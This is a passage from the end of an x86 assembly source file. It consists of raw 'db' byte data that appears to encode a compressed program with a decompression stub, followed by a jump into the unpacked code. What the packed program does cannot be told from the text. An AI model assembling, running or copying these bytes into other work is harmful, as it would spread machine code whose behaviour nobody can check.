db 0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h
db 072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h
db 041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh
db 002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h
db 072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h
db 0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h
db 070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh
db 040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h
db 0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh
db 061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h
db 048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h
db 066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h
db 05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h
db 093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh
db 0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh
db 0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh
db 0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h
db 0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h
db 0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h
db 0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h
db 02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h
db 0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h
db 0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh
db 0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh
db 02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h
db 0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h
db 0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah
db 0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h
db 0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh
db 0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h
db 0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh
db 0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah
db 0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h
db 03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh
db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h
db 0E9h, 07Dh, 0EBh
last:
_TEXT ends
end first